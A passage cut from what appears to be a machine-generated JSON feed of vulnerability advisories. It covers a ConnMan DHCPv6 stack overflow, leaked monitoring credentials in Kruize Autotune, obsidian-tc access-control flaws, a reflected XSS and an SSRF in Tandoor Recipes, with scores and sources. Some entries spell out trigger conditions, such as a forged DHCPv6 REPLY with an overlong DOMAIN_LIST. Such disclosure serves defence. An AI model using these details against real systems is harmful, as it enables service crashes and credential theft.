GHSA-43r2-c7g8-prc8","url":"https://github.com/advisories/GHSA-43r2-c7g8-prc8","type":"primary","publishedAt":"2026-10-23T18:28:14.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-43r2-c7g8-prc8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-43r2-c7g8-prc8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-43r2-c7g8-prc8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-43r2-c7g8-prc8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-43r2-c7g8-prc8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-43r2-c7g8-prc8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-43r2-c7g8-prc8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-43r2-c7g8-prc8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-43r2-c7g8-prc8, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77362&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77362, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115863","cveId":"CVE-2026-115863","aliases":[],"kind":"vulnerability","title":"ConnMan through 2.0 has a stack-based buffer overflow via a DHCPv6 Reply message.","summary":"ConnMan through 2.0 has a stack-based buffer overflow via a DHCPv6 Reply message. This occurs in get_domains in gdhcp/client.c. It copies a fixed NS_MAXDNAME (1025) bytes from a DHCPv6 DOMAIN_LIST (option 24) value into a 1026-byte stack buffer dns_name regardless of the actual option length, then walks DNS labels with an unbounded \"c += jump + 1\" loop. A crafted DHCPv6 REPLY with a DOMAIN_LIST option of >= 1025 non-zero bytes makes the label walk leave the buffer and read/write '.' past its end in attacker-chosen strides. An on-link attacker can trigger this without authentication via a forged Router Advertisement (O=1) and a forged DHCPv6 REPLY matching xid/CLIENTID with a long DOMAIN_LIST. The impact is unauthenticated on-link crash of connmand (runs as root). This was introduced in bb06c47.","detail":"ConnMan through 2.0 has a stack-based buffer overflow via a DHCPv6 Reply message. This occurs in get_domains in gdhcp/client.c. It copies a fixed NS_MAXDNAME (1025) bytes from a DHCPv6 DOMAIN_LIST (option 24) value into a 1026-byte stack buffer dns_name regardless of the actual option length, then walks DNS labels with an unbounded \"c += jump + 1\" loop. A crafted DHCPv6 REPLY with a DOMAIN_LIST option of >= 1025 non-zero bytes makes the label walk leave the buffer and read/write '.' past its end in attacker-chosen strides. An on-link attacker can trigger this without authentication via a forged Router Advertisement (O=1) and a forged DHCPv6 REPLY matching xid/CLIENTID with a long DOMAIN_LIST. The impact is unauthenticated on-link crash of connmand (runs as root). This was introduced in bb06c47.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T18:17:21.757Z","updatedAt":"2026-10-23T19:43:46.190Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115863","asOf":"2026-10-23T19:43:46.190Z"},"epss":{"probability":0.00299,"percentile":0.22397,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115863&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115863","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115863","type":"primary","publishedAt":"2026-10-23T18:17:21.757Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115863&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115863, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110975","cveId":"CVE-2026-110975","aliases":[],"kind":"vulnerability","title":"A flaw was found in Kruize Autotune. Its REST API ships without an authentication layer, and the endpoints that return datasource configuration — the list-datasources endpoint...","summary":"A flaw was found in Kruize Autotune. Its REST API ships without an authentication layer, and the endpoints that return datasource configuration — the list-datasources endpoint (GET /datasources) and the datasource-metadata endpoint — serialized datasource objects using a default Gson configuration with no field-exclusion strategy. As a result, the authentication secrets stored for each configured monitoring datasource (basic-auth passwords, bearer tokens, API keys, and OAuth2 client secrets) were returned in cleartext to any client able to reach the service. An attacker with network access to Autotune could harvest these credentials and reuse them to authenticate to the backing monitoring stack.","detail":"A flaw was found in Kruize Autotune. Its REST API ships without an authentication layer, and the endpoints that return datasource configuration — the list-datasources endpoint (GET /datasources) and the datasource-metadata endpoint — serialized datasource objects using a default Gson configuration with no field-exclusion strategy. As a result, the authentication secrets stored for each configured monitoring datasource (basic-auth passwords, bearer tokens, API keys, and OAuth2 client secrets) were returned in cleartext to any client able to reach the service. An attacker with network access to Autotune could harvest these credentials and reuse them to authenticate to the backing monitoring stack.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T18:17:20.503Z","updatedAt":"2026-10-23T21:17:21.247Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110975","asOf":"2026-10-23T21:17:21.247Z"},"epss":{"probability":0.00246,"percentile":0.15708,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110975&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110975","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110975","type":"primary","publishedAt":"2026-10-23T18:17:20.503Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110975&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110975, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"thehackernews-ruby-fixes-three-regex-engine-bugs-14b4c9cf953f","cveId":null,"aliases":[],"kind":"vulnerability","title":"Ruby Fixes Three Regex Engine Bugs Responsible for Four Critical GitLab RCE Flaws","summary":"Ruby has released versions 4.0.9, 3.4.12, and 3.3.13 to fix three bugs in Onigmo, the regular expression engine built into the language. The bugs lie behind four critical security flaws that GitLab patched over the past month.\n\nGitLab found that a specially crafted pattern could corrupt memory while Ruby compiles it, potentially leading to code execution on its own servers.\n\nRuby says any","detail":"Ruby has released versions 4.0.9, 3.4.12, and 3.3.13 to fix three bugs in Onigmo, the regular expression engine built into the language. The bugs lie behind four critical security flaws that GitLab patched over the past month.\n\nGitLab found that a specially crafted pattern could corrupt memory while Ruby compiles it, potentially leading to code execution on its own servers.\n\nRuby says any\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Check the vendor advisory linked from the article for affected versions and fixes.","publishedAt":"2026-10-23T17:54:08.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":["GitLab"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"The Hacker News: Ruby Fixes Three Regex Engine Bugs Responsible for Four Critical GitLab RCE Flaws","url":"https://thehackernews.com/2026/10/ruby-fixes-three-regex-engine-bugs.html","type":"reporting","publishedAt":"2026-10-23T17:54:08.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"The Hacker News syndication feed","url":"https://feeds.feedburner.com/TheHackersNews","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77364","cveId":"CVE-2026-77364","aliases":["GHSA-cvp8-vvgf-69q4"],"kind":"vulnerability","title":"obsidian-tc: Default folder ACL is fail-open; .obsidian plugin secrets are readable by default","summary":"obsidian-tc: Default folder ACL is fail-open; .obsidian plugin secrets are readable by default","detail":"### Impact\nWith a default configuration, an undefined `readPaths`/`writePaths` meant allow-all, the `strictReadDefault` flag was inert, and the `.obsidian`/`.git`/`.trash` control directories were denied only during enumeration — not on the direct request path. A caller could read `.obsidian/plugins/*/data.json`, exfiltrating **plugin API keys and Obsidian Sync passwords** (live-reproduced), as well as any other in-vault file by path.\n\n### Patches\nFixed in **1.3.1**. Upgrade to `>= 1.3.1`. The default now denies `.obsidian`/`.git`/`.trash` on read/write/delete and honors `strictReadDefault` on the request path.\n\n### Workarounds\nSet an explicit `readPaths`/`writePaths` whitelist that excludes the control directories.\n\nAffected package ranges reported by GitHub:\nobsidian-tc: < 1.3.1","action":"GitHub lists first patched versions: obsidian-tc: 1.3.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T17:28:40.000Z","updatedAt":"2026-10-23T17:28:42.000Z","regions":["Global"],"vendor":null,"product":"obsidian-tc","stacks":["JavaScript packages (npm)","obsidian-tc","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://github.com/advisories/GHSA-cvp8-vvgf-69q4","asOf":"2026-10-23T17:28:42.000Z"},"epss":{"probability":0.00239,"percentile":0.14785,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77364&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-cvp8-vvgf-69q4","url":"https://github.com/advisories/GHSA-cvp8-vvgf-69q4","type":"primary","publishedAt":"2026-10-23T17:28:40.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-cvp8-vvgf-69q4, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-cvp8-vvgf-69q4, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-cvp8-vvgf-69q4, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-cvp8-vvgf-69q4, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-cvp8-vvgf-69q4, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-cvp8-vvgf-69q4, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-cvp8-vvgf-69q4, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-cvp8-vvgf-69q4, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-cvp8-vvgf-69q4, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77364&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77364, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77361","cveId":"CVE-2026-77361","aliases":["GHSA-c5xx-h28h-f682"],"kind":"vulnerability","title":"obsidian-tc : Symlink read-ACL scope bypass via lexical path checks","summary":"obsidian-tc : Symlink read-ACL scope bypass via lexical path checks","detail":"### Impact\nACL checks ran on the lexical vault-relative path while containment used the realpath. An in-vault symlink placed under an allowed glob, whose realpath resolved into a denied folder, passed the read ACL — an intra-vault read-ACL-scope bypass. It requires an out-of-band-planted symlink (no MCP tool creates one) and is not a vault-root escape.\n\n### Patches\nFixed in **1.3.1**. Upgrade to `>= 1.3.1`. ACL enforcement now derives the realpath vault-relative path and feeds a single unified predicate at every site.\n\n### Workarounds\nDo not permit untrusted symlinks inside the vault.\n\nAffected package ranges reported by GitHub:\nobsidian-tc: < 1.3.1","action":"GitHub lists first patched versions: obsidian-tc: 1.3.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T17:28:19.000Z","updatedAt":"2026-10-23T17:28:20.000Z","regions":["Global"],"vendor":null,"product":"obsidian-tc","stacks":["JavaScript packages (npm)","obsidian-tc","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":4.7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://github.com/advisories/GHSA-c5xx-h28h-f682","asOf":"2026-10-23T17:28:20.000Z"},"epss":{"probability":0.00113,"percentile":0.01419,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77361&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-c5xx-h28h-f682","url":"https://github.com/advisories/GHSA-c5xx-h28h-f682","type":"primary","publishedAt":"2026-10-23T17:28:19.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-c5xx-h28h-f682, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-c5xx-h28h-f682, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-c5xx-h28h-f682, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-c5xx-h28h-f682, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-c5xx-h28h-f682, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-c5xx-h28h-f682, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-c5xx-h28h-f682, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-c5xx-h28h-f682, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-c5xx-h28h-f682, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77361&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77361, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87901","cveId":"CVE-2026-87901","aliases":[],"kind":"vulnerability","title":"Improper sanitization in the registration module allows reflected Cross-Site Scripting.","summary":"Improper sanitization in the registration module allows reflected Cross-Site Scripting.","detail":"Improper sanitization in the registration module allows reflected Cross-Site Scripting.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T17:17:22.137Z","updatedAt":"2026-10-23T17:17:22.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.0","vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87901","asOf":"2026-10-23T17:17:22.250Z"},"epss":{"probability":0.00289,"percentile":0.21262,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87901&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87901","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87901","type":"primary","publishedAt":"2026-10-23T17:17:22.137Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87901&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87901, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115810","cveId":"CVE-2026-115810","aliases":[],"kind":"vulnerability","title":"Tandoor Recipes before 2.7.0 contains a server-side request forgery vulnerability in the Pestle importer that allows authenticated low-privileged users to force the server to...","summary":"Tandoor Recipes before 2.7.0 contains a server-side request forgery vulnerability in the Pestle importer that allows authenticated low-privileged users to force the server to issue GET requests to arbitrary internal or external hosts by crafting a malicious image URL in a Pestle JSON import file. Attackers can exploit the raw requests.get call in cookbook/integration/pestle.py, which bypasses the application's centralized requests-hardened SSRF filter, to reach internal-only endpoints, perform port/service discovery, and exfiltrate internal responses via the stored recipe image.","detail":"Tandoor Recipes before 2.7.0 contains a server-side request forgery vulnerability in the Pestle importer that allows authenticated low-privileged users to force the server to issue GET requests to arbitrary internal or external hosts by crafting a malicious image URL in a Pestle JSON import file. Attackers can exploit the raw requests.get call in cookbook/integration/pestle.py, which bypasses the application's centralized requests-hardened SSRF filter, to reach internal-only endpoints, perform port/service discovery, and exfiltrate internal responses via the stored recipe image.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T17:17:21.380Z","updatedAt":"2026-10-23T19:57:42.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115810","asOf":"2026-10-23T19:57:42.660Z"},"epss":{"probability":0.00245,"percentile":0.15548,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115810&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 